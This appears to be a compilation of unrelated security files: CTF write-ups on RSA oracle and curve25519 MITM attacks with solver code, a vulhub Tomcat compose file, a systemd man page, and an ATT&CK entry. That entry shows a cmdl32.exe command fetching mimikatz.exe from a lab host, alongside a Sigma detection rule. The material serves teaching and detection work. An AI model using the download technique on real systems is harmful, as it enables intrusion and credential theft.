CloseHandle(hSourceFile);
}
return 0;
}
```
The final script to decrypt the encrypted file is:
```python
import os
import string
import base64
import hashlib
import binascii
import itertools
import subprocess
from simple_cache import cache_result
MAGIC = 0x531b008a
input_filename = "intel.txt"
output_filename = "intel.txt.enc"
mac_prefix = (0x00, 0x13, 0x37)
@cache_result
def find_md5(prefix1, prefix2, num_missing_chars, expected_md5):
expected_md5 = expected_md5.decode("ascii")
prefix = bytearray(prefix1, "ascii") + bytearray(prefix2)
for item in itertools.product([x for x in range(256)], repeat=num_missing_chars):
hash = hashlib.md5(prefix + bytearray(item)).hexdigest()
if hash == expected_md5:
return item
return None
def readXorInt(f, xor):
b = f.read(4)
if not b:
return None
res = int.from_bytes(b, byteorder="little") ^ xor
return res
def get_size_and_decrement_index(encrypted_length):
size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f)
decrement_index = (size >> 0x1f) + size
size = decrement_index + 1
decrement_index = encrypted_length + decrement_index * -0x2e3
return (size, decrement_index)
def main():
with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o:
dd_serial = readXorInt(f, MAGIC)
print ("Disk drive serial: {}".format(hex(dd_serial)))
o.write(MAGIC.to_bytes(4, byteorder="little"))
while True:
res = readXorInt(f, dd_serial)
if res is None:
break
o.write(res.to_bytes(4, byteorder="little"))
with open("phase1.bin", "rb") as f, open("phase2.bin", "wb") as o:
encrypted_length = os.fstat(f.fileno()).st_size - 2988
print ("Length of encrypted message: {}".format(encrypted_length))
readXorInt(f, 0) # Dummy read, we already have the dd_serial
padded_md5 = bytearray()
for i in range(4 * 2):
dword = readXorInt(f, 0)
padded_md5 += dword.to_bytes(4, byteorder='little')
padded_md5 = binascii.hexlify(padded_md5)
assert (padded_md5[::2] == b"0" * 32)
md5 = padded_md5[1::2]
print("MD5: {}".format(md5))
mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5)
mac_hex = binascii.hexlify(bytes(mac))
print ("MAC Address: {}".format(mac_hex))
garbles = []
ciphertext = bytearray()
bytes_read = 0
i = 0
size, decrement_index = get_size_and_decrement_index(encrypted_length)
while bytes_read < encrypted_length:
if i == decrement_index:
size -= 1
garbles.append(readXorInt(f, 0))
ciphertext += f.read(size)
bytes_read += size
i += 1
o.write(ciphertext)
bios_serial_search = subprocess.check_output([r"FindGarbleInitVal.exe", str(garbles[0])]).decode("ascii")
print (bios_serial_search)
bios_serial = int(bios_serial_search.split("\n")[1], 0)
password = bytes(mac) + bios_serial.to_bytes(4, byteorder='little') + dd_serial.to_bytes(4, byteorder='little')
print ("Password: {}".format(binascii.hexlify(password)))
plaintext_chunk = subprocess.check_output([r"CryptDecrypt.exe",
"phase2.bin",
base64.b64encode(password).decode("ascii"),
"1024"])
print ("Output: \n")
print (plaintext_chunk.decode("ascii"))
if __name__ == "__main__":
main()
```
The output (we cut the plaintext at 1024 bytes since otherwise we get ~36K of padding):
```
python solve.py
Disk drive serial: 0x30303030
Length of encrypted message: 35936
MD5: b'0949b46b73e3af6f5afc81955367295c'
MAC Address: b'0013378eab66'
Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe)
0x61774d56
Password: b'0013378eab66564d776130303030'
Output:
OUR BIG SECRET IS AT 9f96b2ea3bf3432682eb09b0bd213752.xyz/be76e422d6ae42138d73f664e6bb9054
PADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGP
```

|
sec-knowleage
|
# No Padding, No Problem
Category: Crypto, 90 points
## Description
> Oracles can be your best friend, they will decrypt anything, except the flag's ciphertext. How will you break it?
## Solution
Let's connect to the attached server:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/No_Padding_No_Problem]
└─$ nc mercury.picoctf.net 30048
Welcome to the Padding Oracle Challenge
This oracle will take anything you give it and decrypt using RSA. It will not accept the ciphertext with the secret message... Good Luck!
n: 51257263015582188197648371474129549390905726426257438448153816359702362365658508334422660676137191608574589301862860723036048910648313371474365316649888203989162930646519011433136231329260451213231902920703710354241532734042339059649207865410951756937740333312020743615116676965217774179610963694893894058993
e: 65537
ciphertext: 4630900525813217788908324506108030714601444705261980401094718094759603138876572869225585464832937171107712654868912146981974620187638194979958086597403998901460677636640013168017847942623819676132193036153903064536382635689292213133256195449181769142311263486211152780709880862212814932262615707105931438936
Give me ciphertext to decrypt:
```
We get some RSA values and the ability to decrypt any ciphertext... Except for the provided ciphertext, that is:
```
Give me ciphertext to decrypt: 4630900525813217788908324506108030714601444705261980401094718094759603138876572869225585464832937171107712654868912146981974620187638194979958086597403998901460677636640013168017847942623819676132193036153903064536382635689292213133256195449181769142311263486211152780709880862212814932262615707105931438936
Will not decrypt the ciphertext. Try Again
```
Now, unpadded RSA is [homomorphic](https://en.wikipedia.org/wiki/Homomorphic_encryption), which means that:
```
encrypt(m1) * encrypt(m2) = ((m1**e) * (m2**e)) mod n = (m1 * m2)**e mod n = encrypt(m1 * m2)
```
So, we can take a known value such as `2`, and encrypt it by performing `2**e mod n`.
```python
>>> n = 51257263015582188197648371474129549390905726426257438448153816359702362365658508334422660676137191608574589301862860723036048910648313371474365316649888203989162930646519011433136231329260451213231902920703710354241532734042339059649207865410951756937740333312020743615116676965217774179610963694893894058993
>>> e = 65537
>>> c = 4630900525813217788908324506108030714601444705261980401094718094759603138876572869225585464832937171107712654868912146981974620187638194979958086597403998901460677636640013168017847942623819676132193036153903064536382635689292213133256195449181769142311263486211152780709880862212814932262615707105931438936
>>> x = pow(2, e, n)
```
Now we can calculate `c * x`:
```python
>>> c * x
100143595101097482592830943996394084935896483190946501375900036789656563468161771661159361446264540870562875321563459868013559419801317017795671701911596839916318680717002043340397523992749301372798696850257395023843247887528117688037460937112899173181293401186268292785004213926734919791665692392466430105479585506366934056729120410715233430015617324382399879565964709375420317296313695324694080441459057761080942252174906527624295046338332389255727665817282665574808829804572524114287684014904494989016474124730841293049413485569031168274716135702636601427701120705065779700896004485699711505643761704463675796224
```
As explained earlier, `c * x = encrypt(m) * encrypt(2) = encrypt(m * 2)`.
Let's try to decrypt that:
```
Give me ciphertext to decrypt: 100143595101097482592830943996394084935896483190946501375900036789656563468161771661159361446264540870562875321563459868013559419801317017795671701911596839916318680717002043340397523992749301372798696850257395023843247887528117688037460937112899173181293401186268292785004213926734919791665692392466430105479585506366934056729120410715233430015617324382399879565964709375420317296313695324694080441459057761080942252174906527624295046338332389255727665817282665574808829804572524114287684014904494989016474124730841293049413485569031168274716135702636601427701120705065779700896004485699711505643761704463675796224
Here you go: 580550060391700078946913236734911770139931497702556153513487440893406629034802718534645538074938502890769425795379846471930
```
We got `m * 2`. We take the result and divide back by `2` to get `m`:
```python
>>> m = 580550060391700078946913236734911770139931497702556153513487440893406629034802718534645538074938502890769425795379846471930 // 2
```
Format that and get the flag:
```python
>>> bytearray.fromhex(format(m, 'x')).decode()
'picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_5052620}'
```
The flag: `picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_5052620}`
|
sec-knowleage
|
version: '2'
services:
tomcat:
image: vulhub/tomcat:9.0.30
ports:
- "8080:8080"
- "8009:8009"
|
sec-knowleage
|
'\" t
.TH "SYSTEMD\-MACHINE\-ID\-SETUP" "1" "" "systemd 231" "systemd-machine-id-setup"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
systemd-machine-id-setup \- 初始化 /etc/machine\-id 文件
.SH "SYNOPSIS"
.HP \w'\fBsystemd\-machine\-id\-setup\fR\ 'u
\fBsystemd\-machine\-id\-setup\fR
.SH "描述"
.PP
\fBsystemd\-machine\-id\-setup\fR
可被操作系统安装程序用来初始化
/etc/machine\-id
中的"machine ID"值, 可以设为一个指定值,也可以设为一个随机生成的值。详见
\fBmachine-id\fR(5)
手册。
.PP
如果没有明确使用
\fB\-\-commit\fR
选项并且
/etc/machine\-id
不存在或其中的值不合格, 那么将初始化一个新的"machined ID"。 此新"machine ID"将依次使用下列方法获得:
.sp
.RS 4
.ie n \{\
\h'-04' 1.\h'+01'\c
.\}
.el \{\
.sp -1
.IP " 1." 4.2
.\}
如果已经存在一个有效的 D\-Bus "machine ID", 那么就使用此 D\-Bus "machine ID" 来初始化
/etc/machine\-id
文件。
.RE
.sp
.RS 4
.ie n \{\
\h'-04' 2.\h'+01'\c
.\}
.el \{\
.sp -1
.IP " 2." 4.2
.\}
如果运行在已经配置了UUID(通过
\fB\-uuid\fR
选项)的KVM虚拟机中, 那么就使用此UUID来初始化 /etc/machine\-id 文件。 KVM虚拟机的创建者 必须确保UUID的唯一性。
.RE
.sp
.RS 4
.ie n \{\
\h'-04' 3.\h'+01'\c
.\}
.el \{\
.sp -1
.IP " 3." 4.2
.\}
如果运行在已经配置了UUID的Linux容器中, 那么就使用此UUID来初始化 /etc/machine\-id 文件。 详见
\m[blue]\fBContainer Interface\fR\m[]\&\s-2\u[1]\d\s+2
文档。
.RE
.sp
.RS 4
.ie n \{\
\h'-04' 4.\h'+01'\c
.\}
.el \{\
.sp -1
.IP " 4." 4.2
.\}
如果上述方法都不可用, 那么随机生成一个新的"machine ID"来初始化 /etc/machine\-id 文件。
.RE
.PP
可以使用
\fB\-\-commit\fR
选项将新生成的临时"machine ID"写入到磁盘中永久保存。 详见下文。
.PP
可以使用
\fBsystemd-firstboot\fR(1)
初始化已挂载(但未启动)的系统镜像的"machine ID"。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-\-root=\fR\fB\fIroot\fR\fR
.RS 4
指定一个"根目录", 包括配置文件在内的所有路径都将加上
\fIroot\fR
前缀,包括
/etc/machine\-id
自身。
.RE
.PP
\fB\-\-commit\fR
.RS 4
将生成的临时"machine ID"写入到磁盘中永久保存。 所谓"临时"的意思是指在 系统启动的早期绑定挂载的
"tmpfs"
文件系统中的
/etc/machine\-id
文件。 这可能是由于在系统启动的早期,
/etc
依然处于只读状态 并且其中并不包含合格的 /etc/machine\-id 文件。
.sp
如果
/etc/machine\-id
未被绑定挂载到
"tmpfs"
文件系统, 或者
/etc
处于只读状态, 那么此选项将不执行任何操作。 否则,此命令将会把临时生成的"machine ID"写入到磁盘中, 然后卸载
/etc/machine\-id
所在的文件系统, 以确保"machine ID"确实被永久保存。
.sp
此选项主要被系统启动早期的
\fBsystemd-machine-id-commit.service\fR(8)
使用。
.RE
.PP
\fB\-\-print\fR
.RS 4
操作完成之后打印出"machine ID"的值
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBmachine-id\fR(5),
\fBsystemd-machine-id-commit.service\fR(8),
\fBdbus-uuidgen\fR(1),
\fBsystemd-firstboot\fR(1)
.SH "NOTES"
.IP " 1." 4
Container Interface
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/ContainerInterface
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# T1105-Win-利用cmdl32进行文件下载行为(白名单)
## 来自ATT&CK的描述
攻击者可能会将工具或其他文件从外部系统转移到被攻陷的环境中。可以通过命令控制通道从外部攻击者控制的系统中复制文件,以便将工具带入被攻陷的网络环境中,或通过与另一个工具(如FTP)的替代协议复制文件。文件也可以在Mac和Linux上使用scp、rsync和sftp等本机工具进行复制。
## 测试案例
cmdl32.exe,CMAK(连接管理器管理工具包)使用它来设置连接管理器服务配置文件。配置文件通常打包成一个.exe,可以部署到用户系统。该软件包安装可用于启动拨号/VPN连接的配置文件。
### 步骤一
使用以下命令并且生成相关配置文件。
```yml
icacls %cd% /deny %username%:(OI)(CI)(DE,DC)
set tmp=%cd%
echo [Connection Manager] > settings.txt
echo CMSFile=settings.txt >> settings.txt
echo ServiceName=WindowsUpdate >> settings.txt
echo TunnelFile=settings.txt >> settings.txt
echo [Settings] >> settings.txt
echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe >> settings.txt
```
### 步骤二
然后继续执行即可下载成功。
```yml
cmdl32 /vpn /lan %cd%\settings.txt
icacls %cd% /remove:d %username%
move VPNBDFF.tmp mimikatz.exe
```
## 检测日志
windows安全日志、其他EDR类产品
## 测试复现
windows server 2016进行测试,测试效果Ok。
```yml
C:\Users\Administrator>cd C:\Users\Administrator\Desktop\test
C:\Users\Administrator\Desktop\test>icacls %cd% /deny %username%:(OI)(CI)(DE,DC)
已处理的文件: C:\Users\Administrator\Desktop\test
已成功处理 1 个文件; 处理 0 个文件时失败
C:\Users\Administrator\Desktop\test>set tmp=%cd%
C:\Users\Administrator\Desktop\test>echo [Connection Manager] > settings.txt
C:\Users\Administrator\Desktop\test>echo CMSFile=settings.txt >> settings.txt
C:\Users\Administrator\Desktop\test>echo ServiceName=WindowsUpdate >> settings.txt
C:\Users\Administrator\Desktop\test>echo TunnelFile=settings.txt >> settings.txt
C:\Users\Administrator\Desktop\test>echo [Settings] >> settings.txt
C:\Users\Administrator\Desktop\test>echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe >> settings.txt
C:\Users\Administrator\Desktop\test>cmdl32 /vpn /lan %cd%\settings.txt
C:\Users\Administrator\Desktop\test>icacls %cd% /remove:d %username%
已处理的文件: C:\Users\Administrator\Desktop\test
已成功处理 1 个文件; 处理 0 个文件时失败
C:\Users\Administrator\Desktop\test>move VPND1F2.tmp mimikatz.exe
移动了 1 个文件。
```
## 测试留痕
### 日志记录1
```log
创建新进程。4688,windows安全日志
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0xCF2BF2
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x40e0
新进程名称: C:\Windows\System32\icacls.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x688
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: icacls C:\Users\wangxin\Desktop\test /deny Administrator:(OI)(CI)(DE,DC)
```
### 日志记录二
```log
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0xCF2BF2
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x12c18
新进程名称: C:\Windows\System32\cmdl32.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x688
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: cmdl32 /vpn /lan C:\Users\wangxin\Desktop\test\settings.txt
```
### 日志记录三
```log
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0xE991EB
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x133b8
新进程名称: C:\Windows\System32\icacls.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x12fac
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: icacls C:\Users\wangxin\Desktop\test /remove:d Administrator
```
## 检测规则/思路
### sigma规则
```yml
title: Windows下利用cmdl32进行文件下载行为
status: experimental
description: cmdl32.exe,CMAK(连接管理器管理工具包)使用它来设置连接管理器服务配置文件。配置文件通常打包成一个.exe,可以部署到用户系统。该软件包安装可用于启动拨号/VPN连接的配置文件。攻击者可以利用cmdl32进行简单的文件传输活动。
references:
- https://www.t00ls.cc/thread-63254-1-1.html
tags:
- attack.command_and_control
- attack.execution
- attack.t1105
logsource:
product: windows #windows
service: process_creation #安全事件,进程创建
detection:
selection:
ProcessCommandline|contains|all: #进程命令行参数包含以下任意一项
- 'settings.txt'
Image|endswith:
- 'cmdl32.exe' #进程路径为以wuauclt.exe
condition: selection
falsepositives:
- Unknown
level: high
```
### 建议
低版本操作系统无法记录命令行参数及子父进程,建议通过Sysmon进行监控。
## 相关TIP
[[T1105-win-命令提示符网络链接]]
[[T1105-Windows Update可滥用于执行恶意程序行为检测]]
[[T1105-win-入口工具转移-AppInstaller.exe(白名单、失效)]]
## 参考推荐
MITRE-ATT&CK-T1105
<https://attack.mitre.org/techniques/T1105>
cmdl32代替certutil.exe
<https://www.t00ls.cc/thread-63254-1-1.html>
|
sec-knowleage
|
# MITM (crypto, 243p, 34 sovled)
In the task we get [server code](challenge.py) and endpoint to connect to.
The task is a classic Man-In-The-Middle setup between client and server, which are connecting via ECDH protocol using curve25519.
Both parties have pre-shared private secret value, which they use to authenticate.
We can connect to either of them and try to initiate communication, but since we don't know the secret, we will fail authentication.
The most important part of the code is the handshake:
```python
def Handshake(password, reader, writer):
myPrivateKey = Private()
myNonce = os.urandom(32)
WriteBin(writer, myPrivateKey.get_public().serialize())
WriteBin(writer, myNonce)
theirPublicKey = ReadBin(reader)
theirNonce = ReadBin(reader)
if myNonce == theirNonce:
return None
if theirPublicKey in (b'\x00'*32, b'\x01' + (b'\x00' * 31)):
return None
theirPublicKey = Public(theirPublicKey)
sharedKey = myPrivateKey.get_shared_key(theirPublicKey)
myProof = ComputeProof(sharedKey, theirNonce + password)
WriteBin(writer, myProof)
theirProof = ReadBin(reader)
if not VerifyProof(sharedKey, myNonce + password, theirProof):
return None
return sharedKey
```
Both parties send and receive:
- public key
- random 32 bytes nonce
- hmac proof calculated from shared key, pre-shared secret and nonce
We can negotiate a shared key with the other party but we can't calculate the proof since we lack the pre-shared secret.
During the handshake client and server first send their nonce, and then read nonce from the other side, so we could send the same nonce they provided, and therefore our proof would be identical to their proof, so we could re-send this one too.
But the code prevents this:
```python
if myNonce == theirNonce:
return None
```
We could forward the parameters between client and server, and it would pass authentication, but we won't know the shared secret value, so we won't be able to encrypt/decrypt communication.
If we could negotiate a shared secret with both sides, but somehow force the shared secret to be identical in both cases, we could forward nonces and proofs between client and server, and get authenticated, while actually having access to the shared secret.
The question is if this is even possible?
Shared secret is based on the private key of the other side, and public key we provide.
Mathematically it is possible to provide such public key curve points, for which the private keys of server and client would give identical vlaues, however it would be hard to do, not knowing private keys.
However, there might be some special points for that.
The code proves it is by:
```python
if theirPublicKey in (b'\x00'*32, b'\x01' + (b'\x00' * 31)):
return None
```
If we check what happens for those two public keys we can see that code:
```python
def zeroSecret():
import hashlib
from curve25519 import Private, Public
myPrivateKey = Private()
public_test = ['\1'+('\0'*31),
'\0'+('\0'*31)]
for key in public_test:
pub = Public(key)
print(myPrivateKey.get_shared_key(pub, hashlib.sha256)).hexdigest()
```
Prints out identical shared secret value - `66687aadf862bd776c8fc18b8e9f8e20089714856ee233b3902a591d0d5f2925`
If we read a bit about curve25519 we can find https://cr.yp.to/ecdh.html and there:
```
There are some unusual non-Diffie-Hellman elliptic-curve protocols that need to ensure ``contributory'' behavior. In those protocols, you should reject the 32-byte strings that, in little-endian form, represent 0, 1, 325606250916557431795983626356110631294008115727848805560023387167927233504 (which has order 8), 39382357235489614581723060781553021112529911719440698176882885853963445705823 (which also has order 8), 2^255 - 19 - 1, 2^255 - 19, 2^255 - 19 + 1, 2^255 - 19 + 325606250916557431795983626356110631294008115727848805560023387167927233504, 2^255 - 19 + 39382357235489614581723060781553021112529911719440698176882885853963445705823, 2(2^255 - 19) - 1, 2(2^255 - 19), and 2(2^255 - 19) + 1
```
If we now test other values presented here, for example `long_to_bytes(39382357235489614581723060781553021112529911719440698176882885853963445705823)[::-1]` we get the same shared secret value!
This means we can send this public key point to both client and server, and shared secret for both channels will be the same.
We can therefore simply forward nonces and proofs between them, and authenticate.
The modified handshake for us is:
```python
from curve25519 import Private, Public
from crypto_commons.generic import long_to_bytes
def riggedHandshake(server, client):
zeroPublicKey = long_to_bytes(39382357235489614581723060781553021112529911719440698176882885853963445705823)[::-1]
print("Rigging handshake")
clientPublicKey = Public(readBin(client))
print("Client key = "+str(clientPublicKey))
clientNonce = readBin(client)
print("Client nonce = " + clientNonce.encode("hex"))
serverPublicKey = Public(readBin(server))
print("Server key = " + str(serverPublicKey))
serverNonce = readBin(server)
print("Server nonce = " + serverNonce.encode("hex"))
print("Sending to server")
writeBin(server, zeroPublicKey)
writeBin(server, clientNonce)
print("Sending to client")
writeBin(client, zeroPublicKey)
writeBin(client, serverNonce)
serverProof = readBin(server)
clientProof = readBin(client)
print("Server proof = "+serverProof.encode("hex"))
print("Client proof = "+clientProof.encode("hex"))
print("Forwarding proofs")
writeBin(server, clientProof)
writeBin(client, serverProof)
return Private().get_shared_key(Public(zeroPublicKey))
```
And it gives us authenticated channels for client and server, and shared secret.
Combined with the code:
```python
from binascii import hexlify
from binascii import unhexlify
import nacl.secret
from crypto_commons.netcat.netcat_commons import nc, receive_until, send
def readBin(socket):
try:
data = receive_until(socket, "\n")[:-1]
return unhexlify(data)
except:
print('error', data)
def writeBin(socket, data):
send(socket, hexlify(data))
def main():
url = "mitm.ctfcompetition.com"
port = 1337
server = nc(url, port)
client = nc(url, port)
send(server, "sS")
send(client, "cC")
sharedKey = riggedHandshake(server, client)
mySecretBox = nacl.secret.SecretBox(sharedKey)
print(mySecretBox.decrypt(readBin(server)))
writeBin(server, mySecretBox.encrypt("getflag"))
print(mySecretBox.decrypt(readBin(server)))
main()
```
We get:
```
Rigging handshake
Client key = <curve25519.keys.Public instance at 0x7f9a019ecea8>
Client nonce = bfaf0c97e8030e0bc59f6371438ea348bd51ad60127302d5ccd9a08add8190d3
Server key = <curve25519.keys.Public instance at 0x7f9a019f42d8>
Server nonce = 1b50d096795799effc8e1dbdf5a45e71a612aa0f3ccb60d5d09e94639c128f73
Sending to server
Sending to client
Server proof = 30e2f5990849450ca851bd99cc7b15569167e04c7068fa4383d25469e32916ef
Client proof = 3ae7e589e04fec309f5c6a235c35d70ff2cd031d4bc9e1104a3fdbc13e0bd567
Forwarding proofs
AUTHENTICATED
CTF{kae3eebav8Ac7Mi0RKgh6eeLisuut9oP}
```
|
sec-knowleage
|
# CONTRIBUTING
PayloadsAllTheThings' Team :heart: pull requests :)
Feel free to improve with your payloads and techniques !
You can also contribute with a :beers: IRL, or using the sponsor button.
## Pull Requests Guidelines
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
- Payloads must be sanitized
- Use `id`, and `whoami`, for RCE Proof of Concepts
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
- Use `Administrator` for privileged users and `User` for normal account
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
- References must have an `author`, a `title` and a `link`. The `date` is not mandatory but appreciated :)
## Techniques Folder
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
- README.md - vulnerability description and how to exploit it, including several payloads, more below
- Intruder - a set of files to give to Burp Intruder
- Images - pictures for the README.md
- Files - some files referenced in the README.md
## README.md format
Use the following example to create a new technique `README.md` file.
```markdown
# Vulnerability Title
> Vulnerability description
## Summary
* [Tools](#tools)
* [Something](#something)
* [Subentry 1](#sub1)
* [Subentry 2](#sub2)
* [References](#references)
## Tools
- [Tool 1](https://example.com)
- [Tool 2](https://example.com)
## Something
Quick explanation
### Subentry 1
Something about the subentry 1
## References
- [Blog title - Author, Date](https://example.com)
```
|
sec-knowleage
|
/* This file has been generated by the Hex-Rays decompiler.
Copyright (c) 2007-2017 Hex-Rays <info@hex-rays.com>
Detected compiler: GNU C++
*/
#include <defs.h>
//-------------------------------------------------------------------------
// Function declarations
__int64 (**init_proc())(void);
void sub_4620();
// int printf(const char *format, ...);
// __int64 __fastcall __cxa_begin_catch(_QWORD); weak
// size_t strlen(const char *s);
// int memcmp(const void *s1, const void *s2, size_t n);
// __int64 __fastcall __cxa_allocate_exception(_QWORD); weak
// __int64 __fastcall __cxa_atexit(_QWORD, _QWORD, _QWORD); weak
// _QWORD __cdecl operator new(unsigned __int64); idb
// void __noreturn exit(int status);
// int scanf(const char *format, ...);
// _QWORD std::ios_base::Init::Init(std::ios_base::Init *this); idb
// int puts(const char *s);
// __int64 __fastcall __cxa_end_catch(_QWORD); weak
// void __fastcall __noreturn __cxa_throw(__int64 a1, __int64 a2, __int64 a3);
// void _Unwind_Resume(struct _Unwind_Exception *);
// __int64 __fastcall _cxa_finalize(_QWORD); weak
__int64 (**sub_4750())(void);
__int64 sub_4790();
__int64 (**sub_47E0())(void);
__int64 sub_4820();
_QWORD *run_funkies();
void __fastcall __noreturn do_goto(int a1);
void __noreturn nope();
void __fastcall main(__int64 a1, char **a2, char **a3);
__int64 __fastcall sub_579A(int a1, int a2);
__int64 sub_57E3();
_QWORD *__fastcall sub_57F8(_QWORD *a1);
void sub_5812();
void __noreturn opcode_118();
void __noreturn opcode_87();
void __noreturn opcode_76();
void __noreturn opcode_5();
void __noreturn opcode_19();
void __noreturn opcode_50();
void __noreturn opcode_27();
void __noreturn opcode_103();
void __noreturn opcode_80();
void __noreturn opcode_43();
void __noreturn opcode_113();
void __noreturn opcode_17();
void __noreturn opcode_104();
void __noreturn opcode_122();
void __noreturn opcode_114();
void __noreturn opcode_6();
void __noreturn opcode_123();
void __noreturn opcode_35();
void __noreturn opcode_30();
void __noreturn opcode_55();
void __noreturn opcode_14();
void __noreturn opcode_108();
void __noreturn opcode_117();
void __noreturn opcode_3();
void __noreturn opcode_28();
void __noreturn opcode_109();
void __noreturn opcode_26();
void __noreturn opcode_90();
void __noreturn opcode_8();
void __noreturn opcode_70();
void __noreturn opcode_112();
void __noreturn opcode_93();
void __noreturn opcode_33();
void __noreturn opcode_34();
void __noreturn opcode_84();
void __noreturn opcode_78();
void __noreturn opcode_22();
void __noreturn opcode_59();
void __noreturn opcode_77();
void __noreturn opcode_49();
void __noreturn opcode_98();
void __noreturn opcode_119();
void __noreturn opcode_101();
void __noreturn opcode_53();
void __noreturn opcode_63();
void __noreturn opcode_18();
void __noreturn opcode_45();
void __noreturn opcode_2();
void __noreturn opcode_42();
void __noreturn opcode_107();
void __noreturn opcode_16();
void __noreturn opcode_10();
void __noreturn opcode_36();
void __noreturn opcode_15();
void __noreturn opcode_64();
void __noreturn opcode_56();
void __noreturn opcode_44();
void __noreturn opcode_9();
void __noreturn opcode_54();
void __noreturn opcode_0();
void __noreturn opcode_68();
void __noreturn opcode_73();
void __noreturn opcode_11();
void __noreturn opcode_89();
void __noreturn opcode_41();
void __noreturn opcode_37();
void __noreturn opcode_69();
void __noreturn opcode_4();
void __noreturn opcode_66();
void __noreturn opcode_88();
void __noreturn opcode_91();
void __noreturn opcode_71();
void __noreturn opcode_52();
void __noreturn opcode_82();
void __noreturn opcode_51();
void __noreturn opcode_115();
void __noreturn opcode_67();
void __noreturn opcode_99();
void __noreturn opcode_23();
void __noreturn opcode_85();
void __noreturn opcode_24();
void __noreturn opcode_116();
void __noreturn opcode_47();
void __noreturn opcode_20();
void __noreturn opcode_57();
void __noreturn opcode_72();
void __noreturn opcode_60();
void __noreturn opcode_79();
void __noreturn opcode_102();
void __noreturn opcode_12();
void __noreturn opcode_38();
void __noreturn opcode_97();
void __noreturn opcode_61();
void __noreturn opcode_40();
void __noreturn opcode_39();
void __noreturn opcode_96();
void __noreturn opcode_32();
void __noreturn opcode_110();
void __noreturn opcode_29();
void __noreturn opcode_31();
void __noreturn opcode_86();
void __noreturn opcode_100();
void __noreturn opcode_92();
void __noreturn opcode_58();
void __noreturn opcode_1();
void __noreturn opcode_74();
void __noreturn opcode_62();
void __noreturn opcode_21();
void __noreturn opcode_7();
void __noreturn opcode_46();
void __noreturn opcode_121();
void __noreturn opcode_75();
void __noreturn opcode_94();
